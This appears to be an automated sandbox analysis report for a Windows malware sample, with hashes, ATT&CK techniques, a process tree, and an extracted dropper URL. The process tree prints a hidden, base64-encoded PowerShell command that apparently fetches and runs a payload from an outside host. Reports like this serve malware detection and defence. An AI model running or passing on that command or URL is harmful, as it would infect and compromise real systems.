25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6

General

Target
_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe
Size 111KB
Sample260511-rl9b7acs2s
SHA256 25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6
MD5 a9439f5392386a14820987965880a63b
SHA1 480ea433419a0065a248eed5dc2fc6a8d8c5b704
SHA512 b3324618d89dc7ecbbed6f2629b2b27d5e353385f65b040b30331a0a20b1260818befcd90a05d81787f8293336f24f60099a67ce93a5466a460bcd6c6b88dbff
SSDEEP 3072:kPATDicE1py8mMTgRNJ6aliIHNH5BNny3V5X7:kPAT+j1pyKg34aljvCVZ7
TLSH
T179B35A5B63E530F8E17782798AA11A46D772B83607219BFF07A0464A1F237D18D3EF61
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
https://e.mensualgeneratr.com/descargas/up.microsoft

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4660 created 5900	4660	_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe	82

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5224	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5468	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5224	powershell.exe
5224	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5224	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4660 wrote to memory of 5468	4660	_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe	83
PID 5468 wrote to memory of 5224	5468	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe
"C:\Users\Admin\AppData\Local\Temp\_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\system32\winver.exe
  C:\Windows\system32\winver.exe
  2⤵
  PID:5124
- C:\Windows\system32\ComputerDefaults.exe
  C:\Windows\system32\ComputerDefaults.exe
  2⤵
  PID:5900
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGEAVwBWADQASQBDAGcAbwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBPAFoAWABRAHUAVgAyAFYAaQBRADIAeABwAFoAVwA1ADAASwBTADUARQBiADMAZAB1AGIARwA5AGgAWgBGAE4AMABjAG0AbAB1AFoAeQBnAG4AYQBIAFIAMABjAEgATQA2AEwAeQA5AGwATABtADEAbABiAG4ATgAxAFkAVwB4AG4AWgBXADUAbABjAG0ARgAwAGMAaQA1AGoAYgAyADAAdgBaAEcAVgB6AFkAMgBGAHkAWgAyAEYAegBMADMAVgB3AEwAbQAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwBjAHAASwBRAD0APQAnACkAKQApAA==
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGEAVwBWADQASQBDAGcAbwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBPAFoAWABRAHUAVgAyAFYAaQBRADIAeABwAFoAVwA1ADAASwBTADUARQBiADMAZAB1AGIARwA5AGgAWgBGAE4AMABjAG0AbAB1AFoAeQBnAG4AYQBIAFIAMABjAEgATQA2AEwAeQA5AGwATABtADEAbABiAG4ATgAxAFkAVwB4AG4AWgBXADUAbABjAG0ARgAwAGMAaQA1AGoAYgAyADAAdgBaAEcAVgB6AFkAMgBGAHkAWgAyAEYAegBMADMAVgB3AEwAbQAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwBjAHAASwBRAD0APQAnACkAKQApAA==
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_vr1uoclz.x4a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vr1uoclz.x4a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5224-0-0x0000023C70BD0000-0x0000023C70BE0000-memory.dmp

Download

memory/5224-1-0x0000023C70BD0000-0x0000023C70BE0000-memory.dmp

Download

memory/5224-8-0x0000023C70D50000-0x0000023C70D72000-memory.dmp

Download

memory/5224-12-0x0000023C58A30000-0x0000023C58A42000-memory.dmp

Download

memory/5224-11-0x0000023C56E10000-0x0000023C56E1C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads